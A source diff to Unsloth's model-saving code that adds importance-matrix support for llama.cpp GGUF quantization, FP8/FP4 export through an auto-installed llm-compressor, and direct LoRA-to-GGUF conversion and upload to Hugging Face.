+        print(f'"{key}"  ==> llm-compressor {scheme} ({note})')
 
 
 def _quantize_q2_k_l(
@@ -183,11 +271,13 @@ def _quantize_q2_k_l(
     quantizer_location: Union[str, os.PathLike],
     n_threads: int,
     print_output: bool = True,
+    imatrix = None,
 ):
     # "Q2_K_L" is an Unsloth preset, not a native llama.cpp ftype: q2_k with
     # output/token-embedding tensors kept at q8_0 for higher precision.
     command = [
         str(quantizer_location),
+        *(["--imatrix", str(imatrix)] if imatrix else []),
         "--output-tensor-type",
         "q8_0",
         "--token-embedding-type",
@@ -1273,6 +1363,89 @@ def install_python_non_blocking(packages = []):
     return run_installer
 
 
+def install_llm_compressor():
+    """Import llm-compressor, installing it on first use for FP8/FP4 export.
+
+    Pins the current torch + transformers so pip does not upgrade them (a plain install pulls
+    transformers>=5 and breaks Unsloth). Returns (oneshot, QuantizationModifier).
+    """
+    try:
+        from llmcompressor import oneshot
+        from llmcompressor.modifiers.quantization import QuantizationModifier
+        return oneshot, QuantizationModifier
+    except Exception:
+        pass
+
+    print(
+        "Unsloth: Installing llm-compressor for FP8/FP4 export "
+        "(pinning your torch + transformers so they are not upgraded). "
+        "This can take a few minutes..."
+    )
+    import importlib
+    import tempfile
+
+    constraints = ""
+    try:
+        import torch as _torch
+        constraints += f"torch=={_torch.__version__.split('+')[0]}\n"
+    except Exception:
+        pass
+    try:
+        import transformers as _tf
+        constraints += f"transformers=={_tf.__version__}\n"
+    except Exception:
+        pass
+
+    # Prefer pip, but fall back to uv when this interpreter has no pip seeded (common in
+    # uv-created / relocatable venvs), so the export does not hard-fail with "No module named pip".
+    import importlib.util
+
+    if importlib.util.find_spec("pip") is not None:
+        cmd = [sys.executable, "-m", "pip", "install", "llmcompressor"]
+    elif shutil.which("uv") is not None:
+        cmd = ["uv", "pip", "install", "--python", sys.executable, "llmcompressor"]
+    else:
+        raise RuntimeError(
+            "Unsloth: cannot install llm-compressor because this environment has neither pip nor "
+            f"uv. Install it manually with:\n    uv pip install --python {sys.executable} llmcompressor\n"
+            "(pin torch and transformers to your current versions to avoid upgrading them)."
+        )
+    cpath = None
+    if constraints:
+        with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+            f.write(constraints)
+            cpath = f.name
+        cmd += ["-c", cpath]
+    try:
+        subprocess.check_call(cmd)
+    except subprocess.CalledProcessError as e:
+        raise RuntimeError(
+            "Unsloth: Failed to install llm-compressor. Install it manually with:\n"
+            f"    uv pip install --python {sys.executable} llmcompressor\n"
+            f"or, if pip is available:\n    {sys.executable} -m pip install llmcompressor\n"
+            "(pin torch and transformers to your current versions to avoid upgrading them).\n"
+            f"Underlying error: {e}"
+        )
+    finally:
+        if cpath is not None:
+            try:
+                os.remove(cpath)
+            except Exception:
+                pass
+
+    importlib.invalidate_caches()
+    try:
+        from llmcompressor import oneshot
+        from llmcompressor.modifiers.quantization import QuantizationModifier
+    except Exception as e:
+        raise RuntimeError(
+            "Unsloth: llm-compressor was installed but could not be imported. "
+            "Please restart your Python session and try again.\n"
+            f"Underlying error: {repr(e)}"
+        )
+    return oneshot, QuantizationModifier
+
+
 def try_execute(commands, force_complete = False):
     for command in commands:
         with subprocess.Popen(
@@ -1438,10 +1611,13 @@ def save_to_gguf(
     first_conversion: str = None,
     is_vlm: bool = False,
     is_gpt_oss: bool = False,
+    imatrix = None,
 ):
     """
     Orchestrates the complete GGUF conversion process.
     Handles installation, conversion, and quantization.
+    `imatrix` is a local importance-matrix path (already resolved); it is forwarded to
+    llama-quantize and is required for the IQ low-bit quant types.
     """
     # print_output True only if UNSLOTH_ENABLE_LOGGING=1
     if os.environ.get("UNSLOTH_ENABLE_LOGGING", "0") == "1":
@@ -1477,11 +1653,15 @@ def save_to_gguf(
     if first_conversion is None:
         first_conversion = model_dtype
 
-    # Check I quants
-    for quant_method in quantization_method:
-        if quant_method.startswith("iq2"):
+    has_imatrix = imatrix is not None and str(imatrix) != ""
+    if has_imatrix:
+        # quantize_gguf gained the imatrix kwarg in a recent unsloth_zoo; fail fast (before the
+        # expensive conversion) if the installed version cannot apply it, rather than dropping it.
+        import inspect
+        if "imatrix" not in inspect.signature(quantize_gguf).parameters:
             raise RuntimeError(
-                "Unsloth: Currently iq2 type quantizations aren't supported yet - sorry!"
+                "Unsloth: your installed unsloth_zoo's quantize_gguf does not support imatrix.\n"
+                "Please upgrade it:  uv pip install --upgrade unsloth_zoo"
             )
 
     # Map quant methods
@@ -1496,11 +1676,20 @@ def save_to_gguf(
         elif quant_method is None:
             quant_method = "q8_0"
 
-        # Check if wrong method
-        if quant_method not in ALLOWED_QUANTS.keys():
+        # IQ low-bit quants are only valid with an imatrix; other methods use the normal allow-list.
+        if quant_method in IMATRIX_QUANTS:
+            if not has_imatrix:
+                raise RuntimeError(
+                    f"Unsloth: quant method '{quant_method}' is an IQ low-bit quant that requires an "
+                    "importance matrix. Pass imatrix_file=True (to fetch the upstream Unsloth imatrix) "
+                    "or imatrix_file='/path/to/imatrix' to save_pretrained_gguf / push_to_hub_gguf."
+                )
+        elif quant_method not in ALLOWED_QUANTS.keys():
             error = f"Unsloth: Quant method = [{quant_method}] not supported. Choose from below:\n"
             for key, value in ALLOWED_QUANTS.items():
                 error += f"[{key}] => {value}\n"
+            for key, value in IMATRIX_QUANTS.items():
+                error += f"[{key}] => {value} (needs imatrix_file)\n"
             raise RuntimeError(error)
 
         new_quantization_methods.append(quant_method)
@@ -1654,16 +1843,22 @@ def save_to_gguf(
                             quantizer_location = quantizer_location,
                             n_threads = n_cpus,
                             print_output = print_output,
+                            imatrix = imatrix,
                         )
                     else:
-                        # Use unsloth-zoo's standard quantization for all other methods
-                        quantized_file = quantize_gguf(
+                        # Use unsloth-zoo's standard quantization for all other methods. Only pass
+                        # imatrix when set so older unsloth_zoo (no imatrix kwarg) still works for
+                        # plain quants; an imatrix that cannot be applied was rejected above.
+                        quant_kwargs = dict(
                             input_gguf = base_gguf,
                             output_gguf = output_location,
                             quant_type = quant_method,
                             quantizer_location = quantizer_location,
                             print_output = print_output,
                         )
+                        if has_imatrix:
+                            quant_kwargs["imatrix"] = imatrix
+                        quantized_file = quantize_gguf(**quant_kwargs)
                     all_saved_locations.append(quantized_file)
                     quants_created = True
                 except Exception as e:
@@ -1751,6 +1946,9 @@ def unsloth_save_pretrained_merged(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.75,
     datasets: Optional[List[str]] = None,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
 ):
     """
     Same as .save_pretrained(...) except 4bit weights are auto
@@ -1760,6 +1958,9 @@ def unsloth_save_pretrained_merged(
     1. `16bit`: Merge LoRA into float16 weights. Useful for GGUF / llama.cpp.
     2.  `4bit`: Merge LoRA into int4 weights. Useful for DPO / HF inference.
     3.  `lora`: Save LoRA adapters with no merging. Useful for HF inference.
+    4.  FP8 / FP4 compressed export for vLLM (`fp8`, `mxfp4`, `nvfp4`, `mxfp8`): keeps the
+        16bit merge at `save_directory` and writes the quantized checkpoint to
+        `save_directory + "-<fmt>"`.
     """
     if tokenizer is None:
         logger.warning_once(
@@ -1767,9 +1968,46 @@ def unsloth_save_pretrained_merged(
             "You can do it separately via `tokenizer.save_pretrained(...)`"
         )
 
+    # FP8 / FP4 compressed-tensors export (llm-compressor) -> handled separately.
+    _compressed = _normalize_compressed_method(save_method)
+    if _compressed is not None:
+        scheme, needs_calibration, suffix = _compressed
+        _unsloth_save_compressed_tensors(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            scheme = scheme,
+            needs_calibration = needs_calibration,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            calibration_dataset = calibration_dataset,
+            num_calibration_samples = num_calibration_samples,
+            max_seq_length = max_seq_length,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     del arguments["self"]
+    del arguments["_compressed"]
+    del arguments["calibration_dataset"]
+    del arguments["num_calibration_samples"]
+    del arguments["max_seq_length"]
     unsloth_save_model(**arguments)
     for _ in range(3):
         gc.collect()
@@ -1779,7 +2017,7 @@ def unsloth_push_to_hub_merged(
     self,
     repo_id: str,
     tokenizer = None,
-    save_method: str = "merged_16bit",  # ["lora", "merged_16bit", "merged_4bit"]
+    save_method: str = "merged_16bit",  # ["lora", "merged_16bit", "merged_4bit", "fp8", "mxfp4", "nvfp4", "mxfp8"]
     use_temp_dir: Optional[bool] = None,
     commit_message: Optional[str] = "Trained with Unsloth",
     private: Optional[bool] = None,
@@ -1793,6 +2031,9 @@ def unsloth_push_to_hub_merged(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.75,
     datasets: Optional[List[str]] = None,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
@@ -1802,6 +2043,7 @@ def unsloth_push_to_hub_merged(
     1. `16bit`: Merge LoRA into float16 weights. Useful for GGUF / llama.cpp.
     2.  `4bit`: Merge LoRA into int4 weights. Useful for DPO / HF inference.
     3.  `lora`: Save LoRA adapters with no merging. Useful for HF inference.
+    4.  FP8 / FP4 compressed export for vLLM: `fp8`, `mxfp4`, `nvfp4`, `mxfp8`.
     """
     if tokenizer is None:
         logger.warning_once(
@@ -1809,12 +2051,50 @@ def unsloth_push_to_hub_merged(
             "You can do it separately via `tokenizer.push_to_hub(...)`"
         )
 
+    # FP8 / FP4 compressed-tensors export (llm-compressor) -> handled separately.
+    _compressed = _normalize_compressed_method(save_method)
+    if _compressed is not None:
+        scheme, needs_calibration, suffix = _compressed
+        _unsloth_save_compressed_tensors(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            scheme = scheme,
+            needs_calibration = needs_calibration,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            calibration_dataset = calibration_dataset,
+            num_calibration_samples = num_calibration_samples,
+            max_seq_length = max_seq_length,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     arguments["save_directory"] = repo_id
     arguments["push_to_hub"] = True
     del arguments["self"]
     del arguments["repo_id"]
+    del arguments["_compressed"]
+    del arguments["calibration_dataset"]
+    del arguments["num_calibration_samples"]
+    del arguments["max_seq_length"]
     unsloth_save_model(**arguments)
     for _ in range(3):
         gc.collect()
@@ -2226,11 +2506,17 @@ def unsloth_save_pretrained_gguf(
     tags: List[str] = None,
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.85,
+    save_method: str = None,
+    imatrix_file = None,
 ):
     """
     Same as .save_pretrained(...) except 4bit weights are auto
     converted to float16 then converted to GGUF / llama.cpp format.
 
+    imatrix_file: importance matrix for llama-quantize. None = off; a path = use that file
+    (a *.gguf_file is renamed to *.gguf); True = download the upstream unsloth/<base>-GGUF
+    imatrix. Required for the IQ low-bit quants (iq2_xxs, iq4_xs, ...).
+
     Choose for `quantization_method` to be:
     "not_quantized"  : "Recommended. Fast conversion. Slow inference, big files.",
     "fast_quantized" : "Recommended. Fast conversion. OK inference, OK file size.",
@@ -2264,6 +2550,30 @@ def unsloth_save_pretrained_gguf(
     if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):
         tokenizer = patch_saving_functions(tokenizer)
 
+    # save_method="lora" exports the adapter itself as a GGUF LoRA (not a merged model).
+    if save_method is not None and str(save_method).lower() == "lora":
+        if not is_main_process:
+            return None
+        if push_to_hub:
+            raise ValueError(
+                "Unsloth: Please use .push_to_hub_gguf(save_method='lora') instead of "
+                ".save_pretrained_gguf(save_method='lora', push_to_hub=True)."
+            )
+        _qm = quantization_method
+        if isinstance(_qm, (list, tuple)) and len(_qm) == 1:
+            _qm = _qm[0]  # the gguf API allows a list; unwrap a single outtype
+        if _qm in _LORA_GGUF_OUTTYPES:
+            _outtype = _qm
+        else:
+            if _qm not in (None, "fast_quantized"):
+                logger.warning_once(
+                    f"Unsloth: LoRA GGUF export does not support "
+                    f"quantization_method={quantization_method!r}; using outtype 'f16'. "
+                    f"Valid LoRA outtypes: {_LORA_GGUF_OUTTYPES}."
+                )
+            _outtype = "f16"
+        return _unsloth_save_lora_gguf(self, tokenizer, save_directory, outtype = _outtype)
+
     try:
         base_model_name = get_model_name(self.config._name_or_path, load_in_4bit = False)
         model_name = base_model_name.split("/")[-1]
@@ -2321,6 +2631,7 @@ def unsloth_save_pretrained_gguf(
     del arguments["model_name"]
     del arguments["base_model_name"]
     del arguments["is_processor"]
+    del arguments["imatrix_file"]  # only used by the gguf quantize step, not the 16bit merge
 
     # Step 3: Fix tokenizer BOS token if needed
     if is_processor:
@@ -2328,6 +2639,11 @@ def unsloth_save_pretrained_gguf(
     else:
         fix_bos_token, old_chat_template = fix_tokenizer_bos_token(tokenizer)
 
+    # Resolve the importance matrix (download upstream / validate path / rename *.gguf_file) up
+    # front, so a bad path or an unavailable upstream imatrix fails before the expensive 16-bit
+    # merge, and a failed auto-resolution never reaches the IQ-quant gate.
+    imatrix_path = _resolve_imatrix_file(self, imatrix_file, token, save_directory)
+
     # Step 4: Save/merge model to 16-bit format
     is_peft_model = isinstance(self, PeftModelForCausalLM) or isinstance(self, PeftModel)
 
@@ -2443,6 +2759,7 @@ def unsloth_save_pretrained_gguf(
             first_conversion = first_conversion,
             is_vlm = is_vlm,  # Pass VLM flag
             is_gpt_oss = is_gpt_oss,  # Pass gpt_oss Flag
+            imatrix = imatrix_path,
         )
     except Exception as e:
         if IS_KAGGLE_ENVIRONMENT:
@@ -2539,11 +2856,16 @@ def unsloth_push_to_hub_gguf(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.85,
     datasets: Optional[List[str]] = None,
+    save_method: str = None,
+    imatrix_file = None,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
     converted to float16 then converted to GGUF / llama.cpp format.
 
+    imatrix_file: importance matrix for llama-quantize (None = off; a path; or True to download
+    the upstream unsloth/<base>-GGUF imatrix). Required for the IQ low-bit quants.
+
     Choose for `quantization_method` to be:
     "not_quantized"  : "Recommended. Fast conversion. Slow inference, big files.",
     "fast_quantized" : "Recommended. Fast conversion. OK inference, OK file size.",
@@ -2569,6 +2891,37 @@ def unsloth_push_to_hub_gguf(
     if tokenizer is None:
         raise ValueError("Unsloth: Saving to GGUF must have a tokenizer.")
 
+    # save_method="lora" exports the adapter itself as a GGUF LoRA (not a merged model).
+    if save_method is not None and str(save_method).lower() == "lora":
+        if not is_main_process:
+            return None  # only the main rank converts and uploads, like the local lora branch
+        _qm = quantization_method
+        if isinstance(_qm, (list, tuple)) and len(_qm) == 1:
+            _qm = _qm[0]  # the gguf API allows a list; unwrap a single outtype
+        if _qm in _LORA_GGUF_OUTTYPES:
+            _outtype = _qm
+        else:
+            if _qm not in (None, "fast_quantized"):
+                logger.warning_once(
+                    f"Unsloth: LoRA GGUF export does not support "
+                    f"quantization_method={quantization_method!r}; using outtype 'f16'. "
+                    f"Valid LoRA outtypes: {_LORA_GGUF_OUTTYPES}."
+                )
+            _outtype = "f16"
+        return _unsloth_save_lora_gguf(
+            self,
+            tokenizer,
+            repo_id,
+            outtype = _outtype,
+            push_to_hub = True,
+            token = token,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+        )
+
     # Step 1: Determine save directory
     model_name = repo_id.split("/")[-1] if "/" in repo_id else repo_id
 
@@ -2594,11 +2947,12 @@ def unsloth_push_to_hub_gguf(
             quantization_method = quantization_method,
             first_conversion = first_conversion,
             push_to_hub = False,  # Never push from here
-            token = None,  # Don't need token for local save
+            token = token,  # forwarded so imatrix_file=True can read a gated/private upstream
             max_shard_size = max_shard_size,
             safe_serialization = safe_serialization,
             temporary_location = temporary_location,
             maximum_memory_usage = maximum_memory_usage,
+            imatrix_file = imatrix_file,
         )
 
         # Extract results
@@ -2822,93 +3176,300 @@ def save_lora_to_custom_dir(model, tokenizer, save_directory):
     )
 
 
-# Corrected method within the model class to convert LoRA to GGML and push to Hugging Face Hub
+# Valid output float types for llama.cpp's convert_lora_to_gguf.py.
+_LORA_GGUF_OUTTYPES = ("f32", "f16", "bf16", "q8_0", "auto")
+
+
+def _lora_base_model_id(model):
+    """Base model id for a PEFT model: prefer the active adapter's recorded base, else the
+    model config (the adapter's `base_model_name_or_path` is the authoritative source)."""
+    base = None
+    peft_config = getattr(model, "peft_config", None)
+    if isinstance(peft_config, dict) and peft_config:
+        adapter = getattr(model, "active_adapter", None)
+        if callable(adapter):
+            try:
+                adapter = adapter()
+            except Exception:
+                adapter = None
+        if isinstance(adapter, (list, tuple)):
+            adapter = adapter[0] if adapter else None
+        cfg = (
+            peft_config.get(adapter) if adapter in peft_config else next(iter(peft_config.values()))
+        )
+        base = getattr(cfg, "base_model_name_or_path", None)
+    if not base:
+        base = getattr(getattr(model, "config", None), "_name_or_path", None)
+    return os.fspath(base) if base else ""
+
+
+# Upstream Unsloth GGUF repos ship a calibration imatrix under one of these names; the GGUF-format
+# one is suffixed .gguf_file so the Hub does not list it as a model GGUF (renamed to .gguf locally).
+_IMATRIX_UPSTREAM_NAMES = ("imatrix_unsloth.dat", "imatrix_unsloth.gguf_file")
+
+
+def _gguf_repo_candidates(model):
+    """Ordered, de-duplicated unsloth/<base>-GGUF repo ids to search for an upstream imatrix."""
+    candidates = []
+    raw_names = [
+        _lora_base_model_id(model),
+        getattr(getattr(model, "config", None), "_name_or_path", None),
+    ]
+    for raw in raw_names:
+        if not raw:
+            continue
+        name = os.fspath(raw)
+        if os.path.isdir(name):
+            continue  # a local checkpoint has no upstream GGUF repo
+        try:
+            name = get_model_name(name, load_in_4bit = False)
+        except Exception:
+            pass
+        if not name:
+            continue
+        # The upstream imatrix lives in unsloth/<base>-GGUF, so map any org (e.g. meta-llama/...)
+        # onto the unsloth org; keep an already-formed -GGUF id as-is.
+        repo = name if name.endswith("-GGUF") else f"unsloth/{name.split('/')[-1]}-GGUF"
+        if repo not in candidates:
+            candidates.append(repo)
+    return candidates
+
+
+def _materialize_imatrix(path, dest_dir):
+    """Copy an imatrix into dest_dir (never mutate the HF cache) and rename *.gguf_file -> *.gguf."""
+    os.makedirs(dest_dir, exist_ok = True)
+    base = os.path.basename(path)
+    if base.endswith(".gguf_file"):
+        base = base[: -len(".gguf_file")] + ".gguf"
+    local = os.path.join(dest_dir, base)
+    shutil.copyfile(path, local)
+    return local
+
+
+def _resolve_imatrix_file(model, imatrix_file, token, dest_dir):
+    """Turn the public imatrix_file value into a local imatrix path (or None).
+
+    None/False -> None. A path -> that file (a *.gguf_file is renamed to *.gguf). True -> find and
+    download the upstream unsloth/<base>-GGUF imatrix, raising a clear error if none exists.
+    """
+    if imatrix_file is None or imatrix_file is False:
+        return None
+
+    if imatrix_file is not True and isinstance(imatrix_file, (str, os.PathLike)):
+        path = os.path.expanduser(os.fspath(imatrix_file))
+        if not os.path.isfile(path):
+            raise FileNotFoundError(f"Unsloth: imatrix_file '{path}' does not exist.")
+        return _materialize_imatrix(path, dest_dir) if path.endswith(".gguf_file") else path
+
+    if imatrix_file is not True:
+        raise TypeError(
+            "Unsloth: imatrix_file must be None, a path string, or True "
+            f"(got {type(imatrix_file).__name__})."
+        )
+
+    # imatrix_file=True: auto-resolve from the upstream Unsloth GGUF repo. HfApi is the module-level
+    # import (save.py top); hf_hub_download is imported here as it is not needed elsewhere.
+    from huggingface_hub import hf_hub_download
+
+    if token is None:
+        token = get_token()
+    api = HfApi(token = token)
+    repos = _gguf_repo_candidates(model)
+    for repo in repos:
+        try:
+            files = set(api.list_repo_files(repo))
+        except Exception:
+            continue
+        for name in _IMATRIX_UPSTREAM_NAMES:
+            if name in files:
+                downloaded = hf_hub_download(repo_id = repo, filename = name, token = token)
+                local = _materialize_imatrix(downloaded, dest_dir)
+                print(f"Unsloth: Using imatrix '{name}' from '{repo}' -> '{local}'")
+                return local
+    raise RuntimeError(
+        "Unsloth: imatrix_file=True but no upstream Unsloth imatrix was found.\n"
+        f"  Searched repos: {repos or '(none derived from the base model)'}\n"
+        f"  Searched files: {list(_IMATRIX_UPSTREAM_NAMES)}\n"
+        "Pass imatrix_file='/path/to/imatrix.(dat|gguf)' to use your own."
+    )
+
+
+def _unsloth_save_lora_gguf(
+    model,
+    tokenizer,
+    save_directory,
+    outtype = "f16",
+    push_to_hub = False,
+    token = None,
+    private = None,
+    commit_message = "Converted LoRA to GGUF with Unsloth",
+    commit_description = "Convert LoRA to GGUF format using Unsloth",
+    create_pr = False,
+    revision = None,
+):
+    """Export a PEFT/LoRA adapter straight to a GGUF LoRA file via llama.cpp's
+    convert_lora_to_gguf.py (loadable with `llama-cli --lora ...`). For a full / merged model
+    use save_pretrained_gguf instead. `save_directory` is a local dir, or a Hub repo id when
+    push_to_hub=True. Returns the local .gguf path, or the repo id when pushing."""
+    import tempfile
+
+    if not isinstance(model, (PeftModelForCausalLM, PeftModel)):
+        raise RuntimeError(
+            "Unsloth: LoRA GGUF export needs a PEFT/LoRA model. "
+            "For a full or merged model use save_pretrained_gguf(...) instead."
+        )
+    if outtype not in _LORA_GGUF_OUTTYPES:
+        raise ValueError(
+            f"Unsloth: LoRA GGUF outtype must be one of {_LORA_GGUF_OUTTYPES} (got '{outtype}')."
+        )
+    # Resolve a token even for local saves: the converter may fetch a gated/private base config.
+    if token is None:
+        token = get_token()
+
+    # Resolve the dequantized base id (the adapter usually references a 4bit repo).
+    base_model_id = _lora_base_model_id(model)
+    if not base_model_id:
+        raise RuntimeError(
+            "Unsloth: could not determine the base model for LoRA GGUF export "
+            "(no adapter base_model_name_or_path or model config _name_or_path)."
+        )
+    try:
+        base_model_id = get_model_name(base_model_id, load_in_4bit = False)
+    except Exception:
+        pass
+    # Windows-safe basename (handles both C:\... and / separators).
+    if os.path.isdir(base_model_id):
+        model_name = os.path.basename(os.path.normpath(base_model_id))
+    else:
+        model_name = base_model_id.replace("\\", "/").rstrip("/").split("/")[-1]
+    if not model_name:
+        model_name = "model"
+
+    # Save the adapter; for a hub push use an isolated temp dir, else save_directory itself.
+    if push_to_hub:
+        lora_dir = tempfile.mkdtemp(prefix = "unsloth-lora-gguf-")
+    else:
+        os.makedirs(save_directory, exist_ok = True)
+        lora_dir = save_directory
+
+    # Wrap so the isolated temp dir used for hub pushes is always cleaned up, even on failure.
+    try:
+        save_lora_to_custom_dir(model, tokenizer, lora_dir)
+
+        # Ensure a full llama.cpp checkout (ships convert_lora_to_gguf.py) and locate the converter.
+        install_llama_cpp(just_clone_repo = True)
+        converter = os.path.join(LLAMA_CPP_DEFAULT_DIR, "convert_lora_to_gguf.py")
+        if not os.path.exists(converter):
+            # A prebuilt llama.cpp install (or a reused CWD copy) carries binaries but not the
+            # converter script, so force a dedicated source checkout that ships it.
+            source_dir = os.path.join(
+                os.path.dirname(os.path.normpath(LLAMA_CPP_DEFAULT_DIR)), "llama.cpp-source"
+            )
+            install_llama_cpp(llama_cpp_folder = source_dir, just_clone_repo = True)
+            converter = os.path.join(source_dir, "convert_lora_to_gguf.py")
+        if not os.path.exists(converter):
+            raise RuntimeError(
+                "Unsloth: convert_lora_to_gguf.py not found after installing a llama.cpp source "
+                "checkout. A full llama.cpp source checkout is required for LoRA GGUF export."
+            )
+
+        out_gguf = os.path.join(lora_dir, f"{model_name}-lora-{outtype}.gguf")
+        cmd = [sys.executable, converter, lora_dir, "--outfile", out_gguf, "--outtype", outtype]
+        # A local base dir provides config directly; otherwise the id is resolved from the Hub.
+        if os.path.isdir(base_model_id):
+            cmd += ["--base", base_model_id]
+        else:
+            cmd += ["--base-model-id", base_model_id]
+        if bool(getattr(model.config, "auto_map", None)):
+            cmd.append("--trust-remote-code")
+
+        # Expose the token to the converter so it can fetch a gated/private base config from the Hub.
+        env = os.environ.copy()
+        if isinstance(token, str) and token:
+            env["HF_TOKEN"] = token
+            env["HUGGING_FACE_HUB_TOKEN"] = token
+
+        print(f"Unsloth: Converting LoRA adapter at '{lora_dir}' to GGUF -> '{out_gguf}'")
+        try:
+            with subprocess.Popen(
+                cmd,
+                stdout = subprocess.PIPE,
+                stderr = subprocess.STDOUT,
+                bufsize = 1,
+                universal_newlines = True,
+                encoding = "utf-8",
+                errors = "replace",
+                env = env,
+            ) as sp:
+                for line in sp.stdout:
+                    print(line, end = "", flush = True)
+                sp.wait()
+                if sp.returncode != 0:
+                    raise subprocess.CalledProcessError(sp.returncode, sp.args)
+        except subprocess.CalledProcessError as e:
+            raise RuntimeError(
+                f"Unsloth: LoRA -> GGUF conversion failed (exit {e.returncode}). "
+                "See the output above for details."
+            )
+
+        if not push_to_hub:
+            print(f"Unsloth: Done. Saved LoRA GGUF to '{out_gguf}'")
+            return out_gguf
+
+        print(f"Unsloth: Uploading LoRA GGUF to '{save_directory}' ...")
+        from huggingface_hub import HfApi
+
+        api = HfApi(token = token)
+        api.create_repo(
+            repo_id = save_directory,
+            repo_type = "model",
+            private = private,
+            exist_ok = True,
+        )
+        api.upload_folder(
+            folder_path = lora_dir,
+            repo_id = save_directory,
+            repo_type = "model",
+            allow_patterns = ["*.gguf"],
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+        )
+        print(f"Unsloth: Done. Uploaded to https://huggingface.co/{save_directory.lstrip('/')}")
+        return save_directory
+    finally:
+        if push_to_hub:
+            shutil.rmtree(lora_dir, ignore_errors = True)
+
+
 def unsloth_convert_lora_to_ggml_and_push_to_hub(
     self,
     tokenizer,
     repo_id: str,
     use_temp_dir: Optional[bool] = None,
-    commit_message: Optional[str] = "Converted LoRA to GGML with Unsloth",
+    commit_message: Optional[str] = "Converted LoRA to GGUF with Unsloth",
     private: Optional[bool] = None,
     token: Union[bool, str, None] = None,
     create_pr: bool = False,
     revision: str = None,
-    commit_description: str = "Convert LoRA to GGML format using Unsloth",
+    commit_description: str = "Convert LoRA to GGUF format using Unsloth",
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.85,
+    outtype: str = "f16",
 ):
-    if not os.path.exists("llama.cpp"):
-        if IS_KAGGLE_ENVIRONMENT:
-            python_install = install_python_non_blocking(["protobuf"])
-            python_install.wait()
-            install_llama_cpp_blocking(use_cuda = False)
-            makefile = None
-        else:
-            git_clone = install_llama_cpp_clone_non_blocking()
-            python_install = install_python_non_blocking(["protobuf"])
-            git_clone.wait()
-            makefile = install_llama_cpp_make_non_blocking()
-            python_install.wait()
-    else:
-        makefile = None
-
-    for _ in range(3):
-        gc.collect()
-
-    lora_directory_push = "lora-to-ggml-push"
-    save_lora_to_custom_dir(self, tokenizer, lora_directory_push)
-
-    model_type = self.config.model_type
-    output_file = os.path.join(lora_directory_push, "ggml-adapter-model.bin")
-
-    print(f"Unsloth: Converting auto-saved LoRA adapters at {lora_directory_push} to GGML format.")
-    print(f"The output file will be {output_file}")
-
-    try:
-        with subprocess.Popen(
-            [
-                sys.executable,
-                "llama.cpp/convert-lora-to-ggml.py",
-                lora_directory_push,
-                output_file,
-                "llama",
-            ],
-            stdout = subprocess.PIPE,
-            stderr = subprocess.PIPE,
-            bufsize = 1,
-            universal_newlines = True,
-            encoding = "utf-8",
-            errors = "replace",
-        ) as sp:
-            for line in sp.stdout:
-                print(line, end = "", flush = True)
-            for line in sp.stderr:
-                print(line, end = "", flush = True)
-            sp.wait()
-            if sp.returncode != 0:
-                raise subprocess.CalledProcessError(sp.returncode, sp.args)
-    except subprocess.CalledProcessError as e:
-        print(f"Error: Conversion failed with return code {e.returncode}")
-        return
-
-    print(f"Unsloth: Conversion completed! Output file: {output_file}")
-
-    print("Unsloth: Uploading GGML file to Hugging Face Hub...")
-    username = upload_to_huggingface(
+    return _unsloth_save_lora_gguf(
         self,
+        tokenizer,
         repo_id,
-        token,
-        "GGML converted LoRA",
-        "ggml",
-        output_file,
-        None,
-        private,
-    )
-    link = f"{repo_id.lstrip('/')}"
-    print("Unsloth: Done.")
-    print(f"Converted LoRA to GGML and uploaded to https://huggingface.co/{link}")
-    print(
-        "\nThis GGML making function was made by Maheswar. Ping him @Maheswar on the Unsloth Discord or on HuggingFace (@mahiatlinux) if you like this!"
+        outtype = outtype,
+        push_to_hub = True,
+        token = token,
+        private = private,
+        commit_message = commit_message,
+        commit_description = commit_description,
+        create_pr = create_pr,
+        revision = revision,
     )
 
 
@@ -2918,65 +3479,9 @@ def unsloth_convert_lora_to_ggml_and_save_locally(
     tokenizer,
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.85,
+    outtype: str = "f16",
 ):
-    if not os.path.exists("llama.cpp"):
-        if IS_KAGGLE_ENVIRONMENT:
-            python_install = install_python_non_blocking(["protobuf"])
-            python_install.wait()
-            install_llama_cpp_blocking(use_cuda = False)
-            makefile = None
-        else:
-            git_clone = install_llama_cpp_clone_non_blocking()
